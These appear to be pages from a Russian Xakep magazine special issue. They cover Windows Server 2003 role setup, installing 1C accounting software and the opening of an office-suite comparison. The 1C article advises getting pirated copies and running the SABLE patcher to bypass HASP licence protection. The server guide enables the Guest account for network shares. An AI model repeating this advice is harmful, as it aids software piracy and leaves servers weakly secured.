Вопреки всем ожиданиям, он оказывается действительно полезен, если, скажем, надо поднять сервер достаточно быстро, а копаться во всяких инсталляторах и прочем не охота. За считанные секунды, легким нажатием на кнопенцию "Add Server Role" и прохождением несложного визарда, аки детского квеста с намеком на техническую сложность, поднимаются все основные сервисы, а потом уже можно приниматься за увлекательный процесс настройки, который в большинстве случаев ограничивается парой кликов мыши в MMC (Microsoft Management Console) и все. Микрософт, что с них взять... Кстати, как и что делать с новым сервисом, можно почитать в хелпе, который вызывается назойливой иконкой "Review the next steps for this role".

Шары

Для того чтобы на серванте исправно заработали шары, тебе потребуется установить File Server через пресловутый менеджер ролей сервера. Имея за спиной богатый опыт "Next >" кликанья и чуток смекалки, с этой задачей справиться несложно. Новые расшарки можно добавлять как старым дедовским способом (правой кнопенцией на желаемой папке), так и через очередной мастер, который находится прямо в менеджере ролей. Однако не все, как может показаться на первый взгляд, так просто. Если ты попробуешь обратиться к шарам твоего серванта из сети прямо сейчас, то вместо полного собрания композиций Aphex Twin'а ты увидишь добротный мужской половой орган в троекратном увеличении. А все почему? А потому что в Микрософте твердо уверены, что ты своей много лет с трудом собираемой коллекцией делиться захочешь далеко не со всеми, а лишь с некоторыми. Поэтому теперь тебе придется поворошить настройки локальной безопасности. Для начала заенабль аккаунт гостя, Start->Administrative Tools->Computer Management->System Tools->Local Users And Groups->Users->Guest->правая мышь->Properties->убирай чекбокс Account is disabled. ОК.

Закрывай теперь эту дребедень и открывай Start->Administrative Tools->Local Security Policy->Local Policies->User Rights Assignment->Access this computer from network->Добавь гостя.

Теперь перебирайся в раздел Security Options и приведи его в соответствие со скриншотом.

Так, теперь дело за малым - к правам каждого каталога, который ты выставил на публичное обозрение, допиши гостя, имеющего право все читать. Это - к примеру, на самом деле здесь тебя ожидает полная творческая свобода деятельности.

Если я нигде не напортачил, ничего не забыл и не сказал ничего лишнего, то все должно работать и быть в форме.

WEB и FTP

Логичным после настройки шаров мне кажется поставить IIS и запустить должным образом WEB и FTP сервисы. Конечно, в любом случае ты поставишь вместо убитого Internet Information Services нормальный апач, но сия статья, к сожалению, о Винде и ее стандартной поставке, так что, скрепя сердце, мы это все же затронем. Сперва залезаем в нам уже знакомый менеджер ролей и добавляем Application server. И тут же давим кнопенцию Manage this application server, попадая тем самым в очередной MMC. Чтобы настроить желаемое, как несложно догадаться, нам придется влезть в раздел IIS Manager и удалить все, что там появилось без нашего ведома. Хотя это всем привычный и надоевший IIS, я все же позволю себе вкратце поведать об основных приемах работы с ним ;). Чтобы создать свой веб-сайт, нам, как это ни странно, придется надавить правой мышкой на раздел Web Sites и выбрать там New->Web Site... Не без удовольствия пройдя несложный квест, попутно отвечая на несложные вопросы типа "а в каком именно каталоге валяется ваш сайт?", мы получаем нечто, на первый взгляд, рабочее.


Спецвыпуск Xakep, номер #033, стр. 033-068-3, Новое - это хорошо забытое старое

Новое - это хорошо забытое старое

Mr. False

Спецвыпуск Xakep, номер #033, стр. 033-068-3

Но если у тебя главная страница называется, скажем, index.html, то при попытке обратиться к сайту, а не напрямую к файлу, ты в лучшем случае получишь большой хрен в виде содержимого корневого каталога сайта либо, если ты в мастере поставил галочку Enable Browsing, тоже хрен, но поменьше и с надписью вроде "и послать всех в жопу, то есть, я хочу сказать, ни фига нет доступа". Лечится эта сипа когнитивная вполне доступным способом - смекалкой =). Правая мышь на твоем веб-сервере, вкладка Documents, и в раздел Enable default content page добавляешь файло, которое ты бы хотел видеть в браузере, когда к твоему сайту обращаются без точного указания файла.

Сюда, кстати, подойдет в принципе любое файло. Еще замечу, что можно держать кучу разных виртуальных веб-серверов, отвечающих на запросы к разным айпишникам.

FTP сервер настраивается похожим образом. То есть для затравки ты жмешь правой кнопкой на FTP Sites и выбираешь там New -> FTP Site. И снова проходишь квест.

Если тебе надо сделать доступными по фтп кучу каталогов, разбросанных по всему винту (и даже за его пределами =), то специально для тебя удумали такую фичу, как Virtual Directory. Все та же правая кнопка мыши на твоем ftp сайте, New -> Virtual Directory. Вводишь первым делом alias твоего каталога, он будет виден под ним, как, к примеру, ftp://server/alias, затем - местонахождение самого каталога. Самая интрига получается тогда, когда ты не обнаруживаешь этого самого каталога в корне фтп, но обращение напрямую работает исправно =). Такая ботва лечится созданием каталога, одноименного виртуальному, в корне фтп сервера (например, c:\inetpub\ftproot\alias). При обращении к нему FTP'шник автоматом перекинет юзверя в виртуальный каталог.

Складирование мыла

Снова лезем в менеджер, там нас вежливо спросят, откуда брать логины и пароли пользователей и каково доменное имя этого серванта. В принципе, в хелпе утверждается, что для нормальной работы серванта нужно постоянное подключение к Инету и зарегистрированное доменное имя, но нам, людям советским, на такие мелочи забить =). Чтобы смело пользоваться мылом, надо залезть в его настройки уже известным тебе образом - через тот же менеджер ролей. Затем выбираешь раздел с именем твоего домена, давишь в правой панельке Add Mailbox и заполняешь требуемые сведения. Кстати, если такого юзверя нет, то она сама при твоем на то желании может добавить нового с этими параметрами.


Спецвыпуск Xakep, номер #033, стр. 033-068-4, Новое - это хорошо забытое старое

Новое - это хорошо забытое старое

Mr. False

Спецвыпуск Xakep, номер #033, стр. 033-068-4

Настройка SMTP ведется почему-то отдельно от POP3 и находится она в разделе Application Server, во вкладке IIS Manager->имя компа->SMTP. Ничего особо интересного там настраивать не позволяют, разве что разрешения по мелочи, ограничения на размер и прочие фитюльки.

Windows Internet Name Service

Угадай, откуда ставится эта бодяга? Неужто опять из Server Role Manager? Да, микрософтовцы в этом плане оказались не очень оригинальными, и правильно на самом деле. Как ставить всякое барахло, ты уже знаешь ;), поэтому особо на этом мы останавливаться не будем. Да и вообще, на WINS сервере останавливаться мы не будем, ибо никаких жизненно важных настроек делать не приходится.

Тебе осталось только заставить всех гавриков с вашей сетки прописать у себя в настройках сети адрес сервера в поле WINS Server.

Потоковое медиа

Не буду писать жирные водяные вступления, давай сам уже ставь Streaming Media Server сам знаешь откуда, и сейчас мы начнем этого зверя глядеть и увлеченно препарировать. Залезай в настройку и первым делом прибивай Sample_Broadcast. Мы сами себе хозяева, поэтому сделаем все по новой и по-своему. Дави на Publishing Point правым местом и выбирай "Add Publishing Point (Advanced)" (что мы, лохи какие-то что ли, визардами всякими пользоваться?). Далее называй свое детище как душе угодно и выбирай файл/плей-лист/каталог для воспроизведения.

Теперь выделяй свой новосозданный паблишинг поинт и дави в правой части экрана зеленую пимпу с треугольником внизу. Адрес твоего "интернет-радио" =) будет выглядеть типа "mms://имя компа/имя поинта", т.е. в моем случае это mms://server/bread. Тебе осталось только распространить этот урл везде, куда руки дотянутся, и почивать на лаврах, пиво попивая. Кстати, существует реалтайм мониторинг потока, загруженности проца, количества подключений и прочего, а во избежание перегруза сервера в настройках можно выставить максимальные значения этих параметров, по достижении которых сервер будет уже отказывать новым пользователям в подключении. Кстати говоря, потоковое аудио, по моим личным наблюдениям на серванте, редко превышает 30% загрузки проца, оставаясь на среднем уровне около 10-15%, что не может не радовать.

Шарим Инет

А вот это - эксклюзивное развлечение от обожаемой нами корпорации! На сей раз они приготовили действительно нетривиальный квест, однако, прочитав документацию или подобный ей солюшен, разобраться в принципе можно, но ведь для нас, экспериментаторов, это жестокое, позорное, инфантильное читерство! В общем так, твоя задача - поставить славный сервис под названием Routing And Remote Access. Там тебя по ходу инсталляции спросят, что именно ты хочешь иметь, но ты не теряйся; если тебе нужно расшарить модемный Инет, то выбирай первое (Remote Access), если выделенку для семьи =), то второе (Network Address Translation). С остальными пунктами можешь экспериментировать отдельно и самостоятельно. Если у тебя диалап, то в следующем окне ты уже знаешь, где надо поставить галку. Дальнейшие окна ты оставляешь без изменений, только введешь диапазон адресов твоей сетки. После установки открывай детальную настройку всего этого безобразия. Сперва залезь через правую кнопку мыши в Properties твоего серванта, поставь там галочку напротив "Router" и выбери "LAN and demand-dial routing". Дави на ОК или Apply, тебя спросят: "А ты не думаешь, что ты умрешь, если роутер перезагрузится", не пугаясь, соглашайся.


Спецвыпуск Xakep, номер #033, стр. 033-068-5, Новое - это хорошо забытое старое

Новое - это хорошо забытое старое

Mr. False

Спецвыпуск Xakep, номер #033, стр. 033-068-5

После некоторой паузы дави правой кнопкой на разделе IP Routing и выбирай там Properties, затем выделяй свой мопед и конфигурируй его. Ставь галку напротив Demand-dial routing connections и дави везде ОК.

Затем по уже отлаженной схеме дави правой кнопкой на Network Interfaces и выбирай там New Demand-dial Interface... На дальнейшие вопросы отвечай по своему усмотрению, основную сложность тут составляет в окне Static Routes нажать Add, а затем ОК (там все IP-шники должны быть по нулям и единичная метрика). После этого вводишь твои данные (логин/пароль на Инет), и вроде бы надо уже радоваться жизни. Ан нет. Не все так просто в этом мире. Для того чтобы вся эта дребедень внезапно заработала, дави правой мышью на General и возжелай добавить новый протокол, выбирай NAT/Basic firewall. Он несколько погрузится, потормозит и наконец создаст новый раздел под этим названием. Кликай на нем правой кнопкой ->New Interface и выбирай тот интерфейс, который ты создал ранее. Затем давишь еще раз и добавляешь туда Local Area Connections. Вроде бы даже на этом все. Теперь прописываешь у всех компов в сети, которым нужен Инет, в настройках сети в поле "Шлюз" адрес твоего серванта и довольствуешься этим. Кстати, дабы автоматизировать процесс, там была придумана такая фишка, как Dial-out hours (достигается путем кликанья на твоем интерфейсе правой кнопкой мыши). Однако шибко радоваться не начинай, ибо в каждой ложке меда можно найти ту еще бочку дегтя. Во-первых, максимальная детализация - 1 час. То есть точно хотя бы по минутам ты не настроишь. Во-вторых, это настройка разрешения только на звонок. Заставить ее автоматом класть трубку в определенное время мне так и не удалось. В-третьих, задержка составляет около 3-х минут. То есть, если у тебя выставлено разрешение, скажем, с 22-х до 23-х часов, то реально звонить оно начнет где-то около 22:03. А если ты попытаешься ее отрубить вручную в 23:00, то она, возомнив себя центром вселенной, начнет дозваниваться по новой. Сие не есть очень круто, а то еще говнище на самом деле, так что развлекаться порой все же приходится.

DNS

Однако если ты попробуешь соединиться прямо сейчас, то увидишь тот предмет, который и так часто видишь. Хотя по явному IP все будет прекрасно пинговаться. О чем это говорит? А о том, что надо явно указать DNS сервер. В принципе, можно выведать его у прова и прописать всем в сети именно его, но тут встает проблема, что если вдруг ты или кто-то из твоих товарищей уронил свой комп, то после множества чудных попоек IP DNS сервера не шибко вспоминается. Как вариант - поставить на твоем серванте DNS, который будет форвардить все запросы к DNS прова. Опять же ставишь DNS сервер через менеджер и в его настройке правой мышью выбираешь Properties, лезешь во вкладку Forwarders и, пользуясь кнопкой Add, вводишь заранее выведанный IP-шник (его можно узнать, позвонив в службу поддержки прова).


Спецвыпуск Xakep, номер #033, стр. 033-068-6, Новое - это хорошо забытое старое

Новое - это хорошо забытое старое

Mr. False

Спецвыпуск Xakep, номер #033, стр. 033-068-6

Теперь достаточно прописать всем сетевикам в поле DNS айпишник твоего сервера и радоваться жизни, водки нажираясь.

Общее впечатление

Ну что я могу здесь сказать? По большому счету, это те же яйца, только если не сбоку, то сверху. Принципиально новых фишек замечено особо не было, есть мелкие приятности, есть крупные и очень раздражающие глюки и просто недоработки/недоделки. Хотя несколько порадовал тот факт, что все мне нужное от серванта было поднято за каких-то там два часа без особых проблем. Под Линью еще неизвестно, сколько бессонных ночей я бы провел, копаясь в конфигах =). Хотя и результат, я думаю, был бы другой. Так же, как это ни странно, ось вышла достаточно безглючной и для ее уровня быстродействующей, сервант (целик 366 с 128 метрами мозгов) практически без перезагрузок работает уже два месяца, и за это время не было ни одного глюка, ни одного зависона, хотя с него постоянно слушают музыку, смотрят фильмы, сидят в Инете... В процессе работы с осью постоянно преследует ощущение, что находишься в чем-то среднем между ХР и 2000, но несколько круче. Возникают некоторые подозрения в пользу недавно прокатившихся по Инету слухов о планах Микрософта выпустить операционку для рабочих станций на ядре 2003 Server. А раз так, то очевидно вполне, что для этого добрую треть ядра переписывать вовсе не потребуется и нужно будет лишь по мелочи вскопать реестр и изменить несколько параметров. Но за этим я отправлю тебя к оригинальной доке по преобразованию Server в Workstation (http://www.neowin.net/articles.php?action=more&id=54), ибо заниматься тупым переводом и пересказом чужих идей - отнюдь не мой конек ;).

Засим, дорогой друг, разреши откланяться и пойти дальше жрать водку и копать ямы в лесу, подставляя свое юное неокрепшее тело под атаки комаров.


Спецвыпуск Xakep, номер #033, стр. 033-072-1, УЧЕТ МЕНЯ С УМА СВЕДЕТ! Установка и настройка 1С

УЧЕТ МЕНЯ С УМА СВЕДЕТ! Установка и настройка 1С

Леха ББ aka Alexys

Спецвыпуск Xakep, номер #033, стр. 033-072-1

(alex-sun@mtu.ru)

Сидеть дома, ломать проги и сайты - достойное занятие, правда, не всегда приносит деньги. Значит, надо работать. В любой конторе начальство мечтает о том, чтобы их бухгалтерия велась как по факту, так и "для налоговой". Каждый понимает, что вести бухгалтерию на бумаге - вчерашний день, ибо потом замучаешься отыскивать, когда были какие расходы или приходы :). Так что все хотят вести бухгалтерию автоматизированными методами, а конкретно - в бухгалтерских программах.

Скажешь, что пусть бухгалтера с ней и возятся, и будешь прав. Но только так мало где получится. Если ты даже простой админ и от тебя требуется поддержание в работе сетки и замена картриджей в принтерах, будь уверен, что бухотдел тебя достанет с тем, чтобы была установлена подходящая им программа.

АДМИН VS 1С

На российском рынке бухгалтерского ПО первое место по популярности занимает 1С:Предприятие. Не буду спорить, достойный продукт выпущен конторой 1С. Правда, он был бы ничем, если бы такими конторами, как сама 1С и РАРУС, не была бы написана туева хуча всяких специализированных программ типа "Бухгалтерия", "Работа и зарплата", "Торговля и склад", "Авто-альфа" и многие другие. В них при желании можно вести просто все: от кассовой книги до расчета заработной платы и получения различных отчетностей за интересующий промежуток времени. Только вот пара загвоздочек все же есть. Программка далеко не бесплатная, к тому же денег довольно хороших стоит. А если еще прибавить тот факт, что в контору нужно ставить одновременно несколько конфигураций, то сумма затрат на ПО приближается к штуке американских рублей, а то и выше. Очень многих владельцев мелких и средних контор жаба просто задушит расстаться с такими деньгами. А требовать наладить работу бухгалтеров боссы все равно будут. Или постараются заставить админа самого создавать базу данных, подобную 1С. Если бы они знали, что задевелоппить подобную базу стоит раза в 3-4 больше, чем покупка бухсофта от 1С! Но делать что-то надо. Иначе ведь могут и уволить, а еще машина не куплена, да и компушнику апгрейд не мешало бы сделать. Так что надо шевелиться.

О КОНТОРЕ 1С

Противника надо знать в лицо. Контора 1С будет, конечно, помоложе всем известного Microsoft'а - живет она с 1991 года, но даже это уже вполне солидный возраст. Занимается софтварным бизнесом, и, судя по всему, дела у них идут неплохо. Выпускают они софт для офисов (1С:Предприятие), обучающие программы (1С:Репетитор), игрушки всякие (Братья пилоты, Дальнобойщики). Кроме этого, на широкую ногу поставлена реализация и поддержка продукции - различные учебные центры, дистрибьюторы, франчайзинговые конторы. Вызов "специалиста" из франчайзинговой компании обойдется примерно в 30 баков за час. Посмотрел я на таких спецов - некоторые просто ламо полное, но есть и толковые люди. Во многие фирмы требуются на постоянную или разовую работу 1С-ники. Так что освоение 1С может серьезно укрепить твой бюджет :).

1С:ПРЕДПРИЯТИЕ

1С:Предприятие - это оболочка, к которой после ее установки привязываются всевозможные конфигурации. Это что-то типа windows 3.11, но немного для других целей. Если от тебя требуют установить, к примеру, 1С:Бухгалтерия, то сначала по-любому придется поставить 1С:Предприятие - оболочку, под которой работает все остальное.


Спецвыпуск Xakep, номер #033, стр. 033-072-2, УЧЕТ МЕНЯ С УМА СВЕДЕТ! Установка и настройка 1С

УЧЕТ МЕНЯ С УМА СВЕДЕТ! Установка и настройка 1С

Леха ББ aka Alexys

Спецвыпуск Xakep, номер #033, стр. 033-072-2

Поставляется это хозяйство либо на дискетках, либо на сидюке. Это зависит от нужд покупателя и его возможностей (вдруг кто-то до сих пор только с дискетами работать может :)). Вместе с установкой программы в LPT-порт компа должен быть вставлен HASP-ключ и поставлен для этого ключ-драйвер, без которого 1С даже не подумает запускаться.

HASP - один из недорогих электронных ключей от АЛАДДИН (http://aladdin.ru), который используется для защиты ПО. Внешне этот девайс выглядит как обычный LPT'шный разъем, только внутри него находится микруха хитрая.

Пользовать HASP можно почти на любой оси - под Виндами, Линухами, полуосью. При помощи HASP'а у создателей программ появляется возможность сдавать ПО в аренду, продавать программы в рассрочку, устанавливать ограничение по времени запуска программы и многое другое, поскольку тот снабжен встроенными часами, питающимися автономно. Защита HASP'ом довольно хитрая, но умные добрые люди нашли метод, как ее обойти :).

"КОГДА НЕТ ДЕНЕГ..."

Если никакие объяснения начальству о сложности ломания и установки 1С:Предприятия не привели в выделению финансов на покупку, то тогда остается либо найти в продаже левый диск с нужным софтом (обойдется он чуть дороже обычных пиратс... ой, папа запрещает это слово говорить... просто обычных дисков), или попросить кого-нибудь из друзей, работающих в более солидных конторах, записать на болванку нужный дистрибутив. С этим проблем не возникает. Вот только ключик никто точно не даст. Хотя, как показывает практика, он и не сильно нужен, ибо с ним борются программными методами. Специально для возможности безрегистрационного запуска и работы с 1С написан патчер SABLE - программный HASP. После установки оболочки 1С:Предприятие надо просто запустить инсталляшку сабли и тем самым обрубить 1С-ную проверку. Сам автор сабли рекомендует запускать патч на каждой машине в сети. Как показывает практика, это более надежный и простой способ - сбоев пока не наблюдалось.

Иногда бывает, что 1С не пропатчивается с первого раза. В таких случаях придется либо попробовать залезть в созданные саблей менюшки и выбрать "Полный патч", либо просто повторно поставить саблю. Все вроде бы легко, но на двухпроцессорные мамки Sable не встает. Также имеющаяся версия Sable не будет работать под Windows Server 2003.

Если ты все же справился с такой не самой трудной задачей, то 1С будет хотя бы запускаться, правда, пустой. Теперь уже под нее надо будет ставить необходимые для работы конфигурации.

Конфигурации под 1С:Предприятие поставляются как бы независимо от оболочки, то есть они именуются отдельными продуктами, только вот работать без Предприятия не будут. Все конфигурации внешне представляют собой обычный дистрибутив, которых ты наверняка на своем веку уже понаставил немало. Если будешь просто хоть чуть-чуть читать надписи, попадающиеся по ходу установки, то все встанет само по себе без проблем. После установки конфигурации при запуске оболочки будет представлен перечень готовых к работе баз, из которых надо будет просто выбрать нужную.


Спецвыпуск Xakep, номер #033, стр. 033-072-3, УЧЕТ МЕНЯ С УМА СВЕДЕТ! Установка и настройка 1С

УЧЕТ МЕНЯ С УМА СВЕДЕТ! Установка и настройка 1С

Леха ББ aka Alexys

Спецвыпуск Xakep, номер #033, стр. 033-072-3

КОНФИГУРАЦИИ ХУЖЕ КАСТРАЦИИ

При выборе конфигурации ты наверняка успел заметить такие пункты меню, как 1С:Предприятие, Конфигуратор, Отладчик, Монитор, а также возможность поставить галку около надписи "Монопольно". Понятное дело, что все это зачем-то нужно.

Режим "Монопольно", который относится к запуску непосредственно 1С:Предприятия, надо выбирать в случаях, когда к базе обращаются впервые, после неправильного выхода из работы с базой (как правило, это либо повисание компушника, либо юзер ну очень постарался), а также для удаления когда-то отмеченных документов, элементов справочников и т.д. А для обычной рутинной работы нужно выбирать 1С:Предприятие в чистом виде. Тут такая завязка всевозможных справочников, что иной раз голова кругом идет, как такое можно было вообще соединить? Например, когда подготавливаешь документ о реализации продукции, то подбор делается из справочников номенклатуры, которые забиты заранее, клиенты выбираются из других справочников, проверяются остатки продукции, дабы немного затруднить наваривание денег на продаже несуществующих товаров ("Мертвые души" помнишь?). По ведущимся документам можно в любое время (точнее, когда начальник потребует) выдать быстренько какой-нибудь аналитический отчетик о том, как отлично (хорошо, херово, ужасно - нужное подчеркнуть) идут дела у конторы. Кстати, это будет полезно и самому делать иногда, чтобы знать, когда надо искать себе другую работу :).

На мой взгляд, все 1С'ные конфигурации при правильном их выборе под свои нужды способны на многое. Но с ними надо постоянно работать, иначе теряется смысл ведения базы данных. Ну, посуди сам, кому нужна неактуальная база? А работать некоторым не хочется ну просто ни в какую. И тут начинаются фразы типа "Ее надо немного научить тому-то, вот этому и еще чему-то. Вот тогда я в ней буду все делать, а то все накроется, и мой труд будет напрасным". Что тогда делать? У начальства денег просить на покупку еще чего-то? Забудь, ты на покупку левого диска денег едва смог выбить! Конечно, как вариант покупка еще чего-нибудь не исключена, но тогда надо будет вести на одну базу больше. То есть что-то обязательно будет упущено или забыто (еще бы, ведь попробуй усмотреть за пятью БД одновременно). Но 1С:Предприятие, наверно, потому и пользуется столь высокой популярностью, что имеет свой собственный язык программирования и программу для конфигурирования имеющего хозяйства. Она даже так и называется - "Конфигуратор".

С помощью конфигуратора создаются новые справочники, документы, печатные формы, журналы, отчеты и т.д. Обычно нетрудолюбивым работникам хочется иметь такой хитрожопый документ, который должен будет проводиться, списывать остатки продукции, считать зарплату процентникам (народ, который получает какой-то процент от стоимости выполненной им работы) и еще чего-нибудь считать. Я лично очень надеюсь, что у меня на работе такой гемор не случится. Если что, скажу, что это технически не реализуемо :). Но вот для создания различного рода печатных отчетностей зачастую можно даже не знать 1С'ный язык, а воспользоваться конструктором. От тебя потребуется только выбирать имена полей документа, которые надо выводить на печать (что в шапке, что в табличной части, а что снизу документа), а остальное все будет сделано само по себе.


Спецвыпуск Xakep, номер #033, стр. 033-072-4, УЧЕТ МЕНЯ С УМА СВЕДЕТ! Установка и настройка 1С

УЧЕТ МЕНЯ С УМА СВЕДЕТ! Установка и настройка 1С

Леха ББ aka Alexys

Спецвыпуск Xakep, номер #033, стр. 033-072-4

После создания процедуры печати документа надо будет только поудобнее разместить кнопку, при нажатии которой документ будет выводиться сначала на экран (для визуальной проверки), а потом на принтере распечатываться.

В свое время слово "1С" в кругу программеров было чуть ли ни нецензурным! Удивляться тут особо нечему. Операторы на русском языке! Для меня это было просто ударом. Ну не могу я русские операторы использовать! Есть, конечно, и английские варианты, но они настолько криво переведены с русского, что уж быстрее будет по-русски научиться. Синтаксис напоминает что-то среднее между сями, дельфями и бейсиком! Как им удалось все в одно соединить? Но язык этот - довольно полезная штучка. Ведь конструктора не хватит на что-то серьезное. Для создания реальных динамических документов придется поработать ручками. Чтобы понять этот язык, надо либо раз пять перечитать книжку о встроенном языке программирования (поставляется вместе с покупкой лицензионного ПО), либо выпить не один литр пива, разбираясь в коде уже созданных документов.

ОВЕРЛОАД - ОТЧЕТУ СМЕРТЬ

Если ты работаешь админом, конфигуратор тебе может даже и не пригодиться. А вот если сервак, на котором хранятся все рабочие базы, в один момент рухнет, то звездюлей получишь именно ты, и никто иной. А творится это обычно из-за большой нагрузки. Прикинь, если человек 30 одновременно обращаться к одной и той же базе, а сервак это весьма средний компушник, используемый как хранилище данных... Не стоит рассказывать, что может произойти. Но крику от бухгалтерш будет достаточно :). Еще может понадобиться посмотреть, не выполняет ли кто в данный момент работу за человека, у которого сегодня выходной. Обычно после таких добрых порывов случается увольнение отдыхавшего - ему могут такое с базой натворить, что пипец просто: могут приходники с расходниками добавить непонятного происхождения, удалить список номенклатуры. Для наблюдения за тем, кто в данный момент работает с базой, в арсенале 1С есть "Монитор". Как ты, наверно, догадался, это не девятнадцатидюймовая элцедешка, а прога для наблюдением за активностью обращений.

Тут все довольно просто: тулза показывает, кто, в какое время и с какого компушника залогинился к базе. Настоящий админ в таких случаях может сделать две вещи: либо повесить пользователя удаленно, либо повесить пользователя физически :) - в зависимости от сложившейся ситуации.

ОТЛАДИМ БУХГАЛТЕРИЮ

Как уже было сказано выше, в 1С есть свой встроенный язык программирования. Но кто же может написать программу с первого раза и без ошибок? Речь тут, конечно, не о расчете простенькой формулы, а о реальной проге (точнее, модуле). В некоторых имеющихся документах листинг модулей довольно большой (потянет как минимум листиков на 30 при печати). Как тут не запутаться? Тем более, надо же все протестировать, а тест на рабочей базе проводить не рекомендую. Вот тут на помощь 1С'никам приходит "Отладчик". Тут проверяется работоспособность и производительность системы.


Спецвыпуск Xakep, номер #033, стр. 033-072-5, УЧЕТ МЕНЯ С УМА СВЕДЕТ! Установка и настройка 1С

УЧЕТ МЕНЯ С УМА СВЕДЕТ! Установка и настройка 1С

Леха ББ aka Alexys

Спецвыпуск Xakep, номер #033, стр. 033-072-5

КУПИТЬ ИЛЬ НЕ КУПИТЬ?

Если есть хоть какая-то возможность купить лицензионную 1С, то лучше покупать. Периодически бланки отчетностей для подачи в налоговую меняются, а 1С такие вещи обновляет и зарегистрированным пользователям предоставляет обновления своей продукции. К тому же новые версии идут, как правило, доработанными, с исправлением багов, которые были обнаружены по ходу работы, ускорены некоторые обработки. Искать эти обновления в Инете - почти бесполезное занятие, ибо их хрен два найдешь. Если кто-то выложит обновление, то его ресурс очень быстро закрывают. Иначе придется подключать драйвер устройства hands, чтобы сделать новую версию бланков платежных поручений. Поставить обновление программы - 5 минут максимум, а делать один шаблон по ГОСТу - намного больше времени. Лучше сидеть и ничего не делать, чем очередной раз велосипед изобретать, тем более что деньги за софт платишь не ты. Так что делай выводы.

ЧЕМ БЫ ЗАМЕНИТЬ?

Такого аналога, чтобы полностью заменить 1С, наверное, не существует. Во всяком случае, мне пока не попадались достойные. Но некоторые вещи можно делать и в других программах, таких как "АКЦЕНТ", "БухСофт", "Сова" и некоторые другие. Но они не настолько многофункциональны, как софт от 1С, и не могут полностью заменить 1С для ведения бухгалтерии и создания аналитических отчетов. "АКЦЕНТ" - продукция украинских программеров, а уж что они там понаделали, мало кому известно. Тем более, российским пользователям будет не очень удобно с обновлением программы. А вообще - это почти полностью содранная с 1С:Предприятия прога. Аналог редко бывает лучше оригинала. Программу "Сова" используют для подготовки и печати документов организаций, которые долго не живут. Эта программа - что-то типа Excel'я, адаптированного для бухгалтеров.

У 1С есть кроме всяких плюсов еще один: вместе с пустой базой устанавливается еще одна, демонстрационная. Только она не является демо-версией базы, как это может показаться из названия. Это образец того, как надо вести базу и что в ней можно делать. То есть, если человек не умеет работать с 1С:Предприятием, то по этой демке он при наличии желания сможет довольно быстро разобраться с основными принципами работы, даже не ходя на всякие курсы и не выкладывая за них кругленькую сумму бабла. А ведь это важно как для админа, так и для его босса. Намек понял?


Спецвыпуск Xakep, номер #033, стр. 033-076-1, ДУЭЛЬ НА ДЫРОКОЛАХ. Тесты офисных пакетов

ДУЭЛЬ НА ДЫРОКОЛАХ. Тесты офисных пакетов

Xander aka Александр Денисов

Спецвыпуск Xakep, номер #033, стр. 033-076-1

(denissov@upv.vodokanal.spb.ru)

Итак, сегодня на повестке дня извечный вопрос, есть ли жизнь на Марсе? Ты наверняка согласишься, что кем бы ты ни был: линуксоидом, винформатором, админом или хакером, тебе реже или чаще приходится набить текстик или наваять табличку-другую. Условия и задачи у всех разные, но частенько складывается ситуэйшен, когда ленивому админу приходится вылезать в Винду (ну или жутко извращаться), чтобы чиркануть начальству служебную записку или забить план работ на месяц вперед. И что, это парево неизбежно?

Способов породить макулатуру есть множество, но сегодня нашей целью является несколько комплексных пакетов из разряда all-in-one. В синем углу ринга в тяжелой весовой категории у нас Microsoft Office. Версию я буду рассматривать 2000 Professional, просто потому что она стоит у меня легальная (да, вот такой я извращенец, шутка, на работе был куплен, я и воспользовался случаем :)), полное издание на 3 CD. В красном углу ринга - Star Office от корпорации Sun Mycrosystems и его клоняра - Open Office, практически близнецы-братья, второй, правда, уступает старшенькому... И играют они на разных полях: один бьется на виндовом поле, другой на линуксовом, но различия между ними - минимальны, посему, если один отличается в чем-то от другого, я буду об этом упоминать, а так одна хрень.

MICROSOFT OFFICE - В ГРЕЦИИ ВСЕ ЕСТЬ

Итак, Microsoft office. Ну, что я могу сказать. Процесс установки софта на новую машину у меня выглядит так: Винда, Винамп, Офис. Именно так, потому что без офиса никуда. Я не могу сказать, что юзаю его на все 100%, но пользовать его приходится на работе до 6 часов в день. Итак, набор Microsoft Office 2000 Professional Edition. Для бумажек - Word (Ворда), для электронных таблиц - Excel (Ехель), базы данных - Access, органайзер - Outlook (Аутглюк), редактор веб-страниц - Frontpage, редактор презентаций - PowerPoint, средство создания набора документов - Binder, простенькая прога для скана, просмотра и редактирования фотографий - Photo editor и мощнейший редактор схем - Visio. Также в комплекте идет еще куча прог, про которые многие не знают и так и не узнают никогда, например, NetShow Encoder, который нажатием двух кнопок с использованием мастера позволяет устроить по локалке трансляцию хочешь видео, хочешь аудио, при этом не отжирая, кстати, память и ресурсы проца в немереных количествах, что для Винды обычно не характерно.

ВНАЧАЛЕ БЫЛ WORD

Microsoft Word - стандарт де-факто. Документы в 90% офисов печатаются в Ворде. Никуда от него не деться и не избавиться от документов в формате .doc с вшитыми в них макросами. Ну и что, что этот макрос, как недавно всплывший у нас в сетке на работе Yota, при открытии документов по приколу меняет каждую третью запятую на "@ля". Представьте ужас наших машинописок, когда во всех договорах, контрактах длиной не один десяток страниц появляется лексический нюанс, характерный для "чиста конкретных пацанов" :). Я валялся... Таким образом, мы пришли к еще одному приложению, входящему в Microsoft Office, а именно - VBA. Visual Basic for Application. Да, Васик и сейчас живее всех живых. И Васик рулит. Почему, объясню на конкретном примере. Мне по долгу работы приходится ежедневно для получения технологического отчета родного предприятия обрабатывать данные из ODBC'шной базы. Можно было бы выдирать ручками, но проще было написать макруху (макрос), которая выдирает эти данные из базы и компонует их в нужном мне виде в экселевский файл, который потом обрабатывается следующей макрухой, и на выхлопе мы имеем красивенький отчет, сделанный за 2 нажатия кнопки и за 5 минут, а ранее это занимало ни много ни мало - полдня.


Спецвыпуск Xakep, номер #033, стр. 033-076-2, ДУЭЛЬ НА ДЫРОКОЛАХ. Тесты офисных пакетов

ДУЭЛЬ НА ДЫРОКОЛАХ. Тесты офисных пакетов

Xander aka Александр Денисов

Спецвыпуск Xakep, номер #033, стр. 033-076-2

Конечно, можно было б это реализовать с помощью дельфей или прочего чего-нибудь еще, но НА-ФИ-ГА??? Если здесь все есть в комплекте, делается просто и особо не напрягает. На самом деле у меня написан вагон макрух под Excel, которые реально дают мне спокойно жить и упрощают производственный процесс. Так что VBA - рулит однозначно. Да и приколов на нем можно сделать - не ходи купаться :). Вернемся к Ворде. Настройки данного пакета дадут фору даже графическим прогам - все включенные панели инструментов превращают рабочее поле Word в систему управления космическим кораблем :).

